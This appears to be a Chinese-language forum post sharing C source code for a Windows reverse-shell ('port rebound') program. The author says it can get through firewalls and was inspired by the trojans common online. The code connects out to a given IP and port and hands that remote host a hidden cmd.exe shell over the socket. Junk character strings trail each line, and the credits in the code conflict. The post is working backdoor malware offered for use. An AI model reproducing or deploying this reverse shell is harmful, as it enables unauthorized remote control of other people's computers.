Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 uZqL'l+/y  
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/* ============================== ,+=9Rp`md  
Rebound port in Windows NT }V?m =y [  
By wind,2006/7 %b6$N_M{H1  
===============================*/ _:x]'w%  
#include i_Kwxn$  
#include i2F7O"f.  
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#pragma comment(lib,"wsock32.lib") 0YH5B5b  
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void OutputShell(); xQoZ[  
SOCKET sClient; /]
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; })g<I+]Hf9  
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void main(int argc,char **argv) TOwd+]B  
{ &?<uR)tl  
WSADATA stWsaData; X Xque-  
int nRet; dkQ4D2W*\  
SOCKADDR_IN stSaiClient,stSaiServer; (jc@8@Wo.  
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if(argc != 3) y Zafq"o  
{ &Mh.PzO=b  
printf("Useage:\n\rRebound DestIP DestPort\n"); L^J4wYFTO  
return; ]e>qvSuYh  
} 6g(;2gY  
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WSAStartup(MAKEWORD(2,2),&stWsaData); agIqca;  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wk(25(1q  
8-Abg:)  
stSaiClient.sin_family = AF_INET; 'jev1u[  
stSaiClient.sin_port = htons(0); 8 Rx@_  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); i8iT}^  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) r- 8Awa  
{ j=WxtMS  
printf("Bind Socket Failed!\n"); {u'szO}k  
return; %(CC  
} mm/\\my  
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stSaiServer.sin_family = AF_INET; >m%_`68  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); !)s(Lv%]  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); -hd
 
m\:^9A4HCg  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) <Q[%:LD  
{ N$fP\h^AR  
printf("Connect Error!"); !:{Qbv&T  
return; H2X_WSwm  
} K#3^GB3P  
OutputShell(); Vt`4u5HG  
} Yuv(4a<M%  
|J$A%27  
void OutputShell() qe]D4K8`Q3  
{ x]^d'o:cDP  
char szBuff[1024]; K\xz|Gq  
SECURITY_ATTRIBUTES stSecurityAttributes; \!ZA#7  
OSVERSIONINFO stOsversionInfo; X3:1KDVsV  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; rZKh}E  
STARTUPINFO stStartupInfo; Gb')a/  
char *szShell; y?sz&*:  
PROCESS_INFORMATION stProcessInformation; X5WA-s(?0  
unsigned long lBytesRead; kZ9Gl!g  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); >+O0W)g{o  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); q<}IO  
stSecurityAttributes.lpSecurityDescriptor = 0; AD;m[u7  
stSecurityAttributes.bInheritHandle = TRUE; 2> a&m>  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); '4,?YcZ?S  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); HT7,B(.}  
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&2sP8  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 5BrN uR$  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \`.v8C>vG  
stStartupInfo.wShowWindow = SW_HIDE; ~-"CU:$
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stStartupInfo.hStdInput = hReadPipe; F:zmO5L5  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; CvIuH=,  
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GetVersionEx(&stOsversionInfo); O>E}Lu;|  
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switch(stOsversionInfo.dwPlatformId) <Zva  
{ "8Dm7)nB  
case 1: &Wy>t8DIK  
szShell = "command.com"; (N/u@M  
break; @tT`s^e  
default: W@!qp  
szShell = "cmd.exe"; % jDH{xSMb  
break; ^*jwe^  
} $H*8H`  
6+=_p$crMx  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); !\b-Ot(  
vhZXgp0X  
send(sClient,szMsg,77,0); p,=IL_  
while(1) kB+$Kt<]L  
{ o0WwlmB5  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); :@(1~Hm  
if(lBytesRead) 6TRLHL~B  
{ 2UQF:R?LQ  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Zx8$M5  
send(sClient,szBuff,lBytesRead,0); iKq_s5|sW  
} (ot,CpI(I  
else "%K'~"S#Q,  
{ (jKqwVs.:  
lBytesRead=recv(sClient,szBuff,1024,0); Az8b_:=  
if(lBytesRead<=0) break; K0>;4E>B  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); gpq ,rOIK  
} 0L;,\&*u  
} *mV?_4!,f7  
[__P-h{J  
return; >QDyG8*  
}